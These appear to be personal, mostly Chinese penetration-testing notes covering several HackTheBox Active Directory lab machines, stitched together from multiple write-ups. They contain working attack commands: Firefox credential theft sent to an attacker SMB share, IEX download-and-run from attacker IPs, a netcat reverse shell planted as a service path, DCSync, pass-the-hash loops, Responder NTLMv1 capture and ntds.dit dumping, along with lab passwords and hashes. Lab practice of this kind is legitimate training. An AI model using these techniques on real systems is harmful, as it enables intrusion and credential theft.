\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。

\3. NSSNetwork Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。

cd

C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles

ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..

cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json

在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。

/usr/share/doc/python3-impacket/examples/smbserver.py share . -user

RedteamNotes -pass RedteamNotes -smb2support

完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:

copy key4.db \10.10.16.16\share

copy logins.json \10.10.16.16\share

C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share

根据参考⽂章,Firepwd.pyfirefox_decrypt.py都以完成破解。随便⽤⼀个试试看。

git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords

streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解

python firepwd/firepwd.py streamio_firefox

cat firefox_creds

https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'

https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'

https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'

https://slack.streamio.htb:b'JDgodd',b'password@12'

cat firefox_creds | awk -F"'" '{print $2":"$4}' | tee firefox_creds_colon

cat firefox_creds | awk -F"'" '{print $2}' | tee firefox_creds_user

cat firefox_creds | awk -F"'" '{print $4}' | tee firefox_creds_pwd

crackmapexec 爆破smb和winrm。

凭据 JDgodd:JDg0dd1s@d0p3cr3@t0r 可以smb共享登录,没有令我们感兴趣的信息。不能winrm,⽆法获得shell

bloodhound枚举AD获得提权路径

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:PHPSESSID=chmnbko788t766rp9t0amf121l" --hh 1678

evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb

cd C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles

JDgodd

$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)

Add-DomainObjectAcl -Credential $cred - TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"

pivotapi

sudo bash -c 'echo "10.129.228.115 LicorDeBellota.htb

PivotAPI.LicorDeBellota.htb" >> /etc/hosts'

用不了

image-20231217203108512

Kaorz:Roper4155

image-20231218085515836

sudo netstat -tnlp | grep 1337

sudo netstat -tnlp | grep 1337 命令中,各个选项的含义如下:

  • -t: 显示TCP协议的连接信息。

  • -n: 使用数字形式显示IP地址和端口号,而不是尝试将它们解析为域名或服务名。

  • -l: 显示处于监听状态的套接字。

  • -p: 显示与套接字关联的进程信息。

sudo ssh 3v4Si0N@10.129.228.115

3v4Si0N:Gu4nCh3C4NaRi0N!23

Administrador:e4QaRfRSwL6PrA0tSwry (Pwn3d!)

psexec.py Administrador:e4QaRfRSwL6PrA0tSwry@10.129.228.115

APT

这个是访问源码发现的一个 是镜像网站,靶机的web页面是别的镜像过来的

image-20231218222553869

web面没有什么看以下135端口

135 port exploit

rpcclient 不行

sudo rpcclient 10.129.96.60 -p 135

用以下inpack里面的rpcdump

export PATH=/usr/share/doc/python3-impacket/examples:$PATH

rpcdump没有什么敏感信息,有一个uuid ( uuid dcom是基于网络的操作的每一个方法组件都有一个唯一标识符)

用rpcmap

爆破uuid和操作数 默认64所以久一点可以参数改

rpcmap.py ncacn_ip_tcp:10.129.96.60[135] -brute-uuids -brute-opnums

通过扫到的uuid值去goole上搜索 3和5是success 的 看一下跑了什么 server alive2,最后找到了这个工具

image-20231218232023028

这个可以取回网络地址 远程枚举ip 解析网卡地址 找到ipv6的,看看是否有效

GitHub - mubix/IOXIDResolver: IOXIDResolver.py from AirBus Security

./IOXIDResolver.py -t 10.129.96.60

image-20231218232113321

sudo nmap -6 --min-rate 10000 -p- dead:beef::b885:d62a:d679:573f

image-20231218232516391

为什么会有47001,因为设置了winrm但是没开就会默认这个端口

如果开了是5985,如果又ssl的就又同时来个5986端口

可以根据这些这端口大概看出来靶机是什么版本的,一般都是连续的端口,

如果有比较突出的可能是管理员想在这设置什么隐藏入口

image-20231218232950933

image-20231218233141601

image-20231218233212363

image-20231218233321569

它的80和ipv4的一样

smbclient 获得backup.zip

提前-l看一下

普通机器密码存在sam,域控的存在ntds.dit ,ntds.jfm的作用是防止.dit文件丢失 还有system和security在registry下

sudo zip2hash backup.zip > hashbackup

locate *2john 可以看有可以 |wc -l 可以看有几行

直接用secretsdump.py 因为它压缩包里面有密码文件

东西有点多,放文件里

下面两个文件是上面压缩包破解出来的

secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL > ../user_hash_raw

NTDS.dit 存储了 Active Directory 中的用户账户信息,而 SYSTEM 数据库用于加密和保护密码哈希的文件包含关键信息。

image-20231219090022157

如果是root权限,可以用这几句来改权限

image-20231219090107846

head -n 是头 rail -n 是尾行

image-20231219090527111

sudo cat user_hash_raw | grep ':::' | awk -F':' '{print $3,$4}' | sed 's/ /:/g' > user_hash

  • sed:Stream Editor,用于解析和转换文本的命令行工具。

  • 's/ /:/g':这是一个替换命令,用sed替换项替换指定模式的出现。在这种情况下:

    • s: 表示这是一个替换命令。

    • / /:指定要替换的模式。在本例中,它是一个空格。

    • :/:指定替换。在本例中,它是一个冒号。

    • g:代表“全局”,意味着替换应全局应用于每行上的所有出现位置。如果g不使用,则仅替换每行中的第一个匹配项。

因此,用简单的英语来说,该sed命令将输入文本的每一行中的所有空格替换为冒号

可以先用kerbrute看一下有哪些用户活跃

./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local user_list

也可以用nmap

sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-user.realm='htb.local',userdb=user_list htb.local

有APT$@htb.local

henry.vinson@htb.local

Administrator@htb.local

用crackmapexec碰撞

会把ip ban了

重启靶机

不能用crackmapexec,用一下getTGT.py去碰撞一下

要碰撞两千次,这边写一个shell的循环脚本,先试试henry.vinson,如果实际攻防肯定先试试admin的

上面的echo "-------------------" 每一条好区分,第二个echo是看喂给她哪个hash

image-20231219092220744

#!/bin/bash

while IFS=' ' read -r LINE || [ -n "${LINE}" ]

do

echo "------------------"

echo "feed the hash:${LINE}"

/usr/share/doc/python3-impacket/examples/getTGT.py htb.local/henry.vinson@htb.local -hashes ${LINE}

done < hash_list

  1. #!/bin/bash:此行指定应使用 Bash shell 解释和执行脚本。

  2. while IFS='' read -r LINE || [ -n "${LINE}" ]; do:这是一个while从文件中读取行的循环hash_list。该|| [ -n "${LINE}" ]部分确保循环继续,直到到达文件末尾。

  3. echo "------------------":这会将分隔线打印到控制台以获得更好的可见性。

  4. echo "feed the hash:${LINE}":这将打印一条消息,指示脚本正在将哈希值提供给getTGT.py脚本。

  5. /usr/share/doc/python3-impacket/examples/getTGT.py htb.local/henry.vinson@htb.local -hashes ${LINE}:这将getTGT.py使用指定的参数执行脚本。它似乎正在使用提供的哈希为henry.vinson@htb.localKerberos 领域中的用户请求 TGT 。htb.local

  6. done < hash_list:这标志着循环的结束while,指定循环从hash_list文件中读取行。

确保您具有执行该脚本所需的权限,并且该getTGT.py脚本在指定位置 ( ) 中可用/usr/share/doc/python3-impacket/examples/。另外,请确保hash_list文件包含必要的哈希值。

image-20231219091940264

有一个问题是有2000条数据很难找到哪个有效,gettgt这个工具如果成功了会输出一个文件,用下面watch监控新生成的文件

watch "ls -ltr | tail -2"

image-20231219092431197

  • watch:启动监视命令。

  • "ls -ltr | tail -2":这是将要执行的命令watch。它列出当前目录中的文件及其详细信息,按修改时间倒序(最新的在前)对它们进行排序,然后用于tail -2显示最后两个条目(文件)。

因此,当您运行此命令时,您将每 2 秒(默认间隔)看到当前目录中两个最近修改的文件的更新列表watch。输出将被刷新,您将看到目录的最新状态。

得到一个hash,先试试

前半段是空密码的表达

image-20231219092755706

用evil-winrm试试 ,登入不了 ,试试用pesexec,wmiexec,smbexec,dcomexec

用一下reg.py,涉及注册表的操作

image-20231219093036707

image-20231219093431589

reg.py --hashes 'xxxxxxxxx' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU//

HKU 主键下存有用户凭据相关的信息,渗透测试下常用,

先看software,因为存的都是用户,软件的凭据

image-20231219093517348

直接给了密码,如果没有要一个个往后看

image-20231219093552302

evil-winrm成功提权

在 promfile下发现的LAPS,查了一下,但是是提权本地账号的,我们要提权域控,所以pass了

搜索一个敏感文件列表,有助于我们枚举auto_wordlists

GitHub - carlospolop/Auto_Wordlists

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists · GitHub

history 搜索

c:/users/all users/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txt

试一下这个路径(改目录里面的用户名,最后试的henry.vison_adm有东西)

image-20231219094612860

是一个脚本,说修改密码机制,下面这个可以利用应该,

image-20231219094752957

goole查一下

image-20231219094849965

思路试上面的脚本文件设置了密码加密程度为2,goole查一下试利用ntlm v1加密的,而这个加密是可以破解的

Responder破解

FreeBuf网络安全行业门户

TrustedSec | Practical Attacks against NTLMv1

之前枚举看到的,可以和上面的windows defender文件夹下的的联系起来

image-20231219095331373

靠山吃山理念,可以去理解,好多工具的使用

image-20231219095529183

goole直接搜,LOLBAS LOLBAS

是个网站,里面是靠山吃山工具的理念使用(系统有啥文件就用啥文件)

这个是linux的 GTFOBins

使用Responder

git clone GitHub - lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

sudo ./Responder.py -I tun0 --lm

image-20231219095942187

因为执行后的challenge set是随机的,每次利用都会不一样

所以要改一下

image-20231219100212123

改成固定值

image-20231219100225022

再次执行。-v是避免已经显示的随机数不在显示,全部显示,执行后开始监听

image-20231219100250856

靶机里面执行(这个命令可以从上面的lolbas中查)

image-20231219100334502

.\MpCmdrun.exe -Scan -scantype 3 -File \10.1016.10\noexist

noexit就是不需要访问任何文件,只需要连接一下

这个就是利用这个工具执行一次连接,连接我们的responder,

将获得hash保存下来

工具利用 ntlmv1-multi

GitHub - evilmog/ntlmv1-multi: NTLMv1 Multitool

image-20231219100626576

工具利用后告诉你怎么破解

利用crack.sh网站,但是要钱

image-20231219100756726

把change set改成这个,特定的这样才可以在这个网站破解,可能是这个网站在靶机做的宣传。1122334455667788

image-20231219160739221

在获得了apt$权限后,我们可以利用evil-winrm来横向,不过这样获得也可能只是高一点的权限,我们可以用secretsdump.py看看是否能转储出更多的凭据

image-20231219101455835

得到一个admin的

image-20231219101530208

得到权限

Active

smbclient 发现目录active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

里面有

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

userName="active.htb\SVC_TGS"/>

属于AES256加密的

john passwd_hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (cryptoSafe [AES-256-CBC])

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

解密得GPPstillStandingStrong2k18

GetUserSPNs.py -request -dc-ip 10.129.45.13 active.htb/svc_tgs:GPPstillStandingStrong2k18

$krb5tgs$23$Administrator$ACTIVE.HTB$active.htb/Administrator$e19fc8f3a395ea9d61d9a15d32f58245$c0ba8370fe6483729f151a9204854db2fa3d488f832c427672ee9618df0df1a58f9489165eb81e78c111dfad566bcaec95daa565db656f43836b8e8e95c00b46c1b1b74c5acaf02c1289bd019ef7ca293c6c6724d45b498c85729fb4d9de8122dfa62bff3b0877e99c0cfe0d3b4e9f668eac1d95250c72cbe72fe7781cc4bf70a557a3b2f6ffd8303179867efeae2ac167e9f0ec9db59cdf924828ffacc4470ebf2bf61447a3347803f28f4e17d39139e36c23ff78f9c54435a0680bacf5078392ccc86103488d043519ca8b23372b77898312771d3705ac42ac514f36ff03c9d383cbe45050bd083da4337a555165ce3ecb4275f433daf893816b739e680843c8a95303684362dd98864c71c88b69687874e060153812dd3715d25075c1fb00d1fda4b8ce4e0a564aa29686c069a067251b054f4c3090f2a4a54dddc8b44c031a0b1e25ffa56a2d9d025d9b9e744c983b7f813bb6b8411770698751d96921da197768d28359c216ed146a8d3943d85b4291fa9953bd4d7f63e276552378da2ee0e7cbc9a41bad22590a23592561945f5f50ff84329b99c49473260a0b982d1a0627effee1649ccedcb1a84dec13bba29a32a70bfd70bed3118028f590ef31a75b0eea8ec7ba132396ed140471cd027b940ed9f073b2ecff0c23444f132ef2842d7d345692c85420a532c30acf296e4e9cc4f98254cdc1edb04788e90c9a854c058acf3554eae45e5b5221d5ec557d87030ff535427b85723bda3a9c2fd84b2e1c9bb1e0464aeb607ec1721175f3de4cb46e16d4bab76552cab2c1805694bbf24d275377bd922bd55b28fd88fcd2ade0451efedc3532ac8ddcabcc0df2a40620544a3a22949316c343d6915b1eb4cbe91f1681641bf01f9c29b4ac883070a61fe80c8e05ea51133ed5c732b38ea4756a1a93c16a532a369a85a53059356f88cc6f33c607869a1d4b2e71e4b77a14a988a634139ca78ff5c3b47ff0769c19d9c23ad64c740716efa3b23e300952e3579c48acec6d1868ca7de89a0497d5f5ae42a151a2dd66f3bc83c7d7230ef10cbf822b0af997d11504b40e65fce3dbc47896702596eeb2dcda2ff7a99049f2e5523581fde786dc3ba59c8a22fd74f859986426e30194bb8631c202180f02695c454d162b1afffffdb54c1581046607d87e93d124328dcc762d1a1eb1bbd269c68f8c464e4fdb74f118cbab670eca7461768548215417b67a16aa29f1503666db4c81871841bdd16a75f9850c

Ticketmaster1968 Administrator

image-20231220160248432

forest

rpcclient 罗列用户

user:[mark] rid:[0x47f] user:[santi] rid:[0x480] 利用awk等命令该文本中的用户名提取出来

可以使用awk命令来提取文本中的用户名。假设你的文本保存在一个文件中,比如user_data.txt,你可以使用以下命令:

awk -F'[][]' '/user:/{print $2}' user_data.txt

这个命令的解释如下:

  • -F'[][]':指定awk使用方括号[]作为字段分隔符。

  • /user:/{print $2}:当行中包含字符串"user:"时,打印第二个字段。

使用这个命令,它将提取出文本中所有包含"user:"的行中的用户名。

GetNPUsers.py -dc-ip 10.129.104.62 -request 'htb.local/' 这个可以

GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile user_list 这个不行

获得hash

john解密

s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)

横向

evil-winrm -i 10.129.104.62 -u svc-alfresco -p s3rvice

1c8a6d52fe0d9bef1db93c8aebf300b1

iex(new-object net.webclient).downloadstring("http://10.10.16.3/SharpHound.ps1")

powershell iex(new-object net.webclient).downloadstring('http://10.10.16.3/SharHound.ps1')

权限提升

bloodhound-python -c All -u svc-alfresco -p 's3rvice' -ns 10.129.104.62 -d htb.local -dc htb.local --zip

我们可以在域对象上滥用 WriteDacl 来授予我们 HTB.LOCAL 上的 DCSync 权限。

为了滥用这一点,我们将首先创建一个新用户,以便在需要时保证当前帐户的安全。创建用户

net user miku miku@123 /add /domain

现在,我们将其添加到 Exchange Windows 权限组中

net group "Exchange Windows Permissions" /add miku

现在,在PowerView的帮助下我们将滥用WriteDacl,PowerView是PowerSploit的一部分。我们可以从github上下载它。否则,我们可以将 PowerView.ps1 脚本复制到我们的 Web 服务器目录,然后再次在远程 shell 上加载该脚本。要在 shell 上加载脚本,我们将运行

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.41/PowerView.ps1')

我们将再次为我们的密码和凭据创建一个凭据对象。这次是我们创建的用户

$pass = convertto-securestring 'miku@123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\miku', $pass)

现在,我们运行以下命令来授予我们帐户的 DCSync 权限

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity miku -Rights DCSync

img

获取 DCSync 权限

获得权限后,我们将从机器中转储机密并使用机密以管理员身份登录。

为了转储秘密,我们将使用另一个冲击工具*secretsdump.py*。如果运行成功,则意味着我们的权限已成功分配,并且秘密将被转储。

python3 Secretsdump.py htb.local/miku:miku@123@10.129.1.77

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

image-20231220231435177

return

95.241

image-20231221151703061

Server Operators 组提权

服务器运营商 Server Operators 组的成员可以管理域控制器。该组仅存在于域控制器上。默认情况下,该组没有成员。Server Operators 组的成员可以执行以下操作:以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器。电脑。该组无法重命名、删除或移除。

默认情况下,该内置组没有成员。该组有权访问域控制器上的服务器配置选项。其成员身份由域中的服务管理员组 Administrators 和 Domain Admins 以及林根域中的 Enterprise Admins 组控制。该组中的成员无法更改任何管理组成员身份。该组被视为服务管理员帐户,因为其成员具有对域控制器的物理访问权限。该组的成员可以执行备份和还原等维护任务,并且可以更改安装在域控制器上的二进制文件

作为服务器操作员组的成员并不是漏洞,但该组的成员具有在域中进行更改的特殊权限,这可能导致攻击者升级到系统权限

然后,我们将netcat.exe二进制文件传输到受感染的主机,并更改了该服务的二进制路径。我们更改二进制路径的原因是为了以系统用户身份从受感染的主机接收反向连接。

怎么运行的?

当我们启动任何服务时,它将从其二进制路径执行二进制文件,因此,如果我们用 netcat 或反向 shell 二进制文件替换服务二进制文件,那么它将为我们提供一个作为系统用户的反向 shell,因为该服务是作为系统上的系统启动的。受损的主机。请注意,我们需要使用 netcat 二进制文件指定攻击者的 IP 地址和侦听端口号。

upload /home/kali/nc64.exe

sc.exe config VMTools binPath="C:\Users\aarti\Documents\nc.exe -e cmd.exe 10.10.16.9 1234"

Windows Privilege Escalation: Server Operator Group - Hacking Articles

kali nc -lvp 1234

靶机 (也可以滥用VGAuthService服务)

sc.exe stop VMTools

sc.exe start VMTools

sauna

EGOTISTICAL-BANK.LOCAL

每当我看到 DNS 时,都值得尝试区域传输。两者sauna.htbegotistical-bank.local未能返回任何内容:

dig @10.10.10.175 AXFR Egotistical-bank.local

使用匿名 LDAP 搜索查找用户“hsmith”

如果没有任何凭据,无法从 Kerberos 找到很多信息,因此我将继续使用 LDAP 服务,看看是否可以从匿名会话中转储信息。

首先,获取域名库的查询是ldapsearch -x -h 10.10.10.175 -s base namingcontexts,其中:

  • -x- 简单的身份验证

  • -h 10.10.10.175- 主机查询

  • -s base- 将范围设置为基础

  • naming contexts- 返回命名上下文

可以用来-b 'DC=EGOTISTICAL-BANK,DC=LOCAL'获取有关域的信息

ldapsearch -x -H ldap://10.10.10.175 -b "dc=Egotistical-bank,dc=local"

./kerbrute_linux_amd64 userenum --domain Egotistical-bank.local --dc 10.129.95.180 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500

爆破出fsmith 猜测之前80端口发现的人名应该写成这种格式

image-20231221193026587

fsmith scoins sdriver btayload hbear skerb

GetNPUsers.py -dc-ip 10.129.95.180 -request 'EGOTISTICAL-BANK.LOCAL/' -usersfile user_list_two -no-pass 获得hash

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:20b5657baf93918f5168fa978d40462e$5a9033470c3e5ccb75b75b0d78cdd37a7c5b4f75cb5f47d2f4ae136b75b11de1b5cd9402d5bbdc54d1dcd3713551f3096404f6fe28b8d78673cf4ba729b463e03a9f42cbf58a5d56762a5e68169fbace39b6b1442a87128df392402e35ece2af00d764fc61f0580e7e649ed0f3ea8aa14c3aba95f064451f3055ff20824ba878120e86b48f9f20ed10e9d3933010d3a18b28d3c78e1c91a5175f6011d2c0c33655cc67ffae6cb4509e82ae288dbeba56ca4115430238757bed06d0b608038e82d6d4950bf4a6ab66316f3c02ea93e34074da955656b782edb2dd0051c1dafb40642f421f36e719676b565a38d53ca42dd0d1973d762601c7ef1c98f1d56341a2

-u 'fsmith' -p 'Thestrokes23'

net user /domain

AD Escalation – Kerberoasting Attacks - Juggernaut-Sec

HackTheBox – Sauna - Walkthrough Write-Up HTB

服务帐户 svc_loanmgr。

首先,我检查 DC 上是否有任何存储的凭据。

cmdkey /list

img

没有找到任何东西,所以我决定检查 PowerShell 历史文件。

cat (Get-PSReadlineOption).HistorySavePath

img

PowerShell历史文件不存在,这表明用户以前从未使用过PowerShell。

接下来,我使用以下命令检查了 AutoLogon 注册表项:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

img

繁荣!在自动登录注册表中找到了服务帐户的凭据! 利用winpeas也可以

Moneymakestheworldgoround! svc_loanmanager

Password Hunting – Windows Privilege Escalation 手工的

secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'

aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e

Support

HTB: Support | 0xdf hacks stuff

smbclient 登入获取zip文件

里面是.net文件

利用dnspy打开文件UserInfo.exe

找到LdapQuery函数查,看该Protected.getPassword()函数

利用断点调试找到明文密码

后面提权是基于资源委派攻击看另外一个笔记里面有

在Kali Linux中,mono 是一个用于运行.NET应用程序的软件包。Mono 是一个开源的实现,允许在非Windows平台上运行基于.NET Framework的应用程序。它提供了一个跨平台的.NET运行时环境,使得开发人员能够在Linux、macOS等操作系统上运行C#和其他.NET语言编写的应用程序。

mono UserInfo.exe

Usage: UserInfo.exe [options] [commands]

Options: -v|--verbose Verbose output

Commands: find Find a user user Get information about a user

LDAP 协议是未加密的明文。因此,如果我们运行可执行文件,则在尝试连接时应发送明文密码。我们只需要在可执行文件尝试连接到 AD 服务器时捕获网络流量。

bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.129.46.228

通常,对于用户对象,cn 属性用来存储用户的全名或显示名称。对于其他对象(如组、计算机等),cn 可能包含相应对象的名称。

evil-winrm -i support.h -u support -p 'Ironside47pleasure40Watchful'

image-20231223094107097

image-20231223094908158

07a4fee248d0e723926462866a047c75

echo "      Your Text Here" | sed 's/^[ \t]*//'

这个命令使用正则表达式,^[ \t]*表示匹配行首的零个或多个空格或制表符,然后替换为空字符串。

blackfield

blackfield.local 10.129.229.17

2023/12/24 01:49:40 > [+] VALID USERNAME: audit2020@blackfield.local 2023/12/24 01:49:41 > [+] VALID USERNAME: support@blackfield.local 2023/12/24 01:49:41 > [+] VALID USERNAME: svc_backup@blackfield.local

#00^BlackKnight

enum4linux -a -u support -p '#00^BlackKnight' 10.10.10.192 > enum.txt

rpcclient改密码Reset AD user password with Linux - Malicious Link - Blog by mubix - Rob Fuller

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'

pypykatz lsa minidump lsass.DMP

INFO:root:Parsing file lsass.DMP FILE: ======== lsass.DMP ======= == LogonSession == authentication_id 406458 (633ba) session_id 2 username svc_backup domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T18:00:03.423728+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-1413 luid 406458 == MSV == Username: svc_backup Domain: BLACKFIELD LM: NA NT: 9658d1d1dcd9250115e2205d9f48400d

image-20231224161511738

image-20231224162120021

备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。

GitHub - giuliano108/SeBackupPrivilege: Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access to

这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege. 我将克隆它,然后需要将两个文件上传到 Blackfields:

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll

upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

现在我将它们导入到我当前的会话中:

*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll

现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns以非管理员用户身份读取:

但我可以复制它并阅读它:

Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns

type \programdata\netlogon.dns

由于某种原因,我无法阅读root.txt

我想要获取的下一个文件是ntds.ditDC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中

Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .

如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。

robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit

使用diskshadow.exe

默认情况下,diskshadow.exe 仅安装在 Windows Server 上。

由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。

我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。

image-20231224165342238

创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:

diskshadow.exe /s c:\temp\diskshadow.txt

image-20231224165416864

随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。

cd Z:
cd windows
cd ntds
robocopy /b .\ C:\temp NTDS.dit

image-20231224165516223

获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。

cd C:\temp
reg.exe save hklm\system C:\temp\system.bak

这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:

download ntds.dit
download system.bak

现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!

我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。

secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

184fb5e5178480be64824d4cd53b99ee

mantis

10.129.7.108

http://10.129.7.108:1337/secure_notes/

  1. Download OrchardCMS

  2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database

  3. Launch IIS and add new website and point to Orchard CMS folder location.

  4. Launch browser and navigate to http://localhost:8080

  5. Set admin password and configure sQL server connection string.

  6. Add blog pages with admin user.

    echo "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 --decode s

echo "6d2424716c5f53405f504073735730726421" | xxd -r -p && echo ''
  • echo "6d2424716c5f53405f504073735730726421":这会将十六进制字符串打印到标准输出。

  • |:这是一个管道,它获取前面命令的输出并将其作为输入传递给后面的命令。

  • xxd -r -p:这会将十六进制字符串转换为其二进制表示形式。这些选项-r指定反向操作(十六进制到二进制),并-p指定没有附加信息的纯格式。

  • &&:这是一个逻辑 AND 运算符。&&仅当前面的命令成功时才会执行后面的命令。

  • echo '':这会打印一个换行符。

因此,该命令的总体效果是打印给定的十六进制字符串的二进制表示形式,后跟换行符。echo ''除非您特别想在二进制数据后打印换行符,否则该部分并不是绝对必要的。如果删除它,该命令仍然有效:

mssqlclient.py admin@10.129.7.108

m$$ql_S@_P@ssW0rd!

select name from master..sys.databases

use orcharddb

select table_name from information_schema.tables;

select * from information_schema.columns where table_name='blog_Orchard_Users_UserPartRecord';

出来是乱码

select username,email,password from blog_Orchard_Users_UserPartRecord

James james@htb.local J@m3s_P@ssW0rd!

也可以使用sqsh ,没有乱码

不同的是查找完数据库要退出来在 加-d参数进入自己想用的数据库名

sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!' -d orcharddb

Plaintext Credentials without Interactive Access This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:

